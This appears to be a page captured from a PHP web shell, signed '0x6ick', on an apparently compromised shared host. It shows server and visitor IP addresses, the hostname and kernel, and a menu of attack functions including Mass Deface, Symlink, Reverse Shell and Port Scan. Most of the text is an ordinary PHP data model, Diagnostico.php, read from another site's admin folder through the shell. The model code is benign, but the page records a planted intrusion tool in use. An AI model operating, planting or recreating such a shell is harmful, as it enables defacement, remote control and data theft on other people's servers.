Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
soy4
/
admin
/
models
/
Viewing: Diagnostico.php
<?php class Diagnostico { public const ESTADOS = ['cancelado', 'pendiente', 'en_progreso', 'logrado']; private const ESTADO_LABELS = [ 'cancelado' => 'Cancelado', 'pendiente' => 'Pendiente', 'en_progreso' => 'Progreso', 'logrado' => 'Logrado', ]; public static function all(): array { $pdo = Database::connection(); $stmt = $pdo->query('SELECT id, nombre, cliente_id, cliente, responsable_id, responsable, fecha_inicio, fecha_fin, estado, creado, actualizado FROM producto_diagnostico ORDER BY actualizado DESC, id DESC'); return $stmt->fetchAll() ?: []; } public static function forCliente(int $clienteId): array { if ($clienteId <= 0) { return []; } $pdo = Database::connection(); $stmt = $pdo->prepare('SELECT id, nombre, cliente_id, cliente, responsable_id, responsable, fecha_inicio, fecha_fin, estado, creado, actualizado FROM producto_diagnostico WHERE cliente_id = :cliente ORDER BY actualizado DESC, id DESC'); $stmt->execute(['cliente' => $clienteId]); return $stmt->fetchAll() ?: []; } public static function findForCliente(int $id, int $clienteId): ?array { if ($id <= 0 || $clienteId <= 0) { return null; } $pdo = Database::connection(); $stmt = $pdo->prepare('SELECT id, nombre, cliente_id, cliente, responsable_id, responsable, fecha_inicio, fecha_fin, estado, creado, actualizado FROM producto_diagnostico WHERE id = :id AND cliente_id = :cliente LIMIT 1'); $stmt->execute([ 'id' => $id, 'cliente' => $clienteId, ]); $record = $stmt->fetch(); return $record ?: null; } public static function filter(array $filters): array { $pdo = Database::connection(); $sql = 'SELECT id, nombre, cliente_id, cliente, responsable_id, responsable, fecha_inicio, fecha_fin, estado, creado, actualizado ' . 'FROM producto_diagnostico WHERE 1=1'; $params = []; if (!empty($filters['cliente'])) { $sql .= ' AND cliente = :cliente'; $params['cliente'] = $filters['cliente']; } if (!empty($filters['responsable'])) { $sql .= ' AND responsable = :responsable'; $params['responsable'] = $filters['responsable']; } if (!empty($filters['estado']) && in_array($filters['estado'], self::ESTADOS, true)) { $sql .= ' AND estado = :estado'; $params['estado'] = $filters['estado']; } if (!empty($filters['desde'])) { $sql .= ' AND (fecha_inicio IS NOT NULL AND fecha_inicio >= :desde)'; $params['desde'] = $filters['desde']; } if (!empty($filters['hasta'])) { $sql .= ' AND (fecha_fin IS NOT NULL AND fecha_fin <= :hasta)'; $params['hasta'] = $filters['hasta']; } $sql .= ' ORDER BY actualizado DESC, id DESC'; $stmt = $pdo->prepare($sql); $stmt->execute($params); return $stmt->fetchAll() ?: []; } public static function distinctClientes(): array { $pdo = Database::connection(); $stmt = $pdo->query('SELECT DISTINCT cliente_id, cliente FROM producto_diagnostico WHERE cliente IS NOT NULL AND cliente <> "" ORDER BY cliente ASC'); $rows = $stmt->fetchAll() ?: []; return array_values(array_map(static function ($row) { return [ 'id' => (int)($row['cliente_id'] ?? 0), 'nombre' => (string)($row['cliente'] ?? ''), ]; }, $rows)); } public static function distinctResponsables(): array { $pdo = Database::connection(); $stmt = $pdo->query('SELECT DISTINCT responsable_id, responsable FROM producto_diagnostico WHERE responsable IS NOT NULL AND responsable <> "" ORDER BY responsable ASC'); $rows = $stmt->fetchAll() ?: []; return array_values(array_map(static function ($row) { return [ 'id' => (int)($row['responsable_id'] ?? 0), 'nombre' => (string)($row['responsable'] ?? ''), ]; }, $rows)); } public static function find(int $id): ?array { $pdo = Database::connection(); $stmt = $pdo->prepare('SELECT id, nombre, cliente_id, cliente, responsable_id, responsable, fecha_inicio, fecha_fin, estado, creado, actualizado FROM producto_diagnostico WHERE id = :id'); $stmt->execute(['id' => $id]); $record = $stmt->fetch(); return $record ?: null; } public static function create(array $data): int { $pdo = Database::connection(); $stmt = $pdo->prepare('INSERT INTO producto_diagnostico (nombre, cliente_id, cliente, responsable_id, responsable, fecha_inicio, fecha_fin, estado) VALUES (:nombre, :cliente_id, :cliente, :responsable_id, :responsable, :fecha_inicio, :fecha_fin, :estado)'); $stmt->execute([ 'nombre' => $data['nombre'], 'cliente_id' => $data['cliente_id'], 'cliente' => $data['cliente'], 'responsable_id' => $data['responsable_id'], 'responsable' => $data['responsable'], 'fecha_inicio' => $data['fecha_inicio'], 'fecha_fin' => $data['fecha_fin'], 'estado' => $data['estado'] ?? 'pendiente', ]); return (int)$pdo->lastInsertId(); } public static function update(int $id, array $data): bool { $pdo = Database::connection(); $stmt = $pdo->prepare('UPDATE producto_diagnostico SET nombre = :nombre, cliente_id = :cliente_id, cliente = :cliente, responsable_id = :responsable_id, responsable = :responsable, fecha_inicio = :fecha_inicio, fecha_fin = :fecha_fin, estado = :estado WHERE id = :id'); return $stmt->execute([ 'id' => $id, 'nombre' => $data['nombre'], 'cliente_id' => $data['cliente_id'], 'cliente' => $data['cliente'], 'responsable_id' => $data['responsable_id'], 'responsable' => $data['responsable'], 'fecha_inicio' => $data['fecha_inicio'], 'fecha_fin' => $data['fecha_fin'], 'estado' => $data['estado'] ?? 'pendiente', ]); } public static function updateEstado(int $id, string $estado): bool { $pdo = Database::connection(); $stmt = $pdo->prepare('UPDATE producto_diagnostico SET estado = :estado WHERE id = :id'); return $stmt->execute([ 'id' => $id, 'estado' => $estado, ]); } public static function markInProgressIfNeeded(int $id): void { if ($id <= 0) { return; } $pdo = Database::connection(); $stmt = $pdo->prepare('UPDATE producto_diagnostico SET estado = :estado WHERE id = :id AND (estado IS NULL OR estado = :pendiente)'); $stmt->execute([ 'estado' => 'en_progreso', 'id' => $id, 'pendiente' => 'pendiente', ]); } public static function delete(int $id): bool { $pdo = Database::connection(); $stmt = $pdo->prepare('DELETE FROM producto_diagnostico WHERE id = :id'); return $stmt->execute(['id' => $id]); } public static function estados(): array { return self::ESTADOS; } public static function estadoLabels(): array { return self::ESTADO_LABELS; } public static function estadoLabel(string $estado): string { $estado = strtolower($estado); return self::ESTADO_LABELS[$estado] ?? ucfirst(str_replace('_', ' ', $estado)); } public static function entrevistas(int $diagnosticoId): array { return []; } public static function documentos(int $diagnosticoId): array { return DiagnosticoDocumento::allForDiagnostico($diagnosticoId); } public static function informes(int $diagnosticoId): array { $record = DiagnosticoInforme::findByDiagnostico($diagnosticoId); return $record ? [$record] : []; } public static function informe(int $diagnosticoId): ?array { return DiagnosticoInforme::findByDiagnostico($diagnosticoId); } }
Coded With 💗 by
0x6ick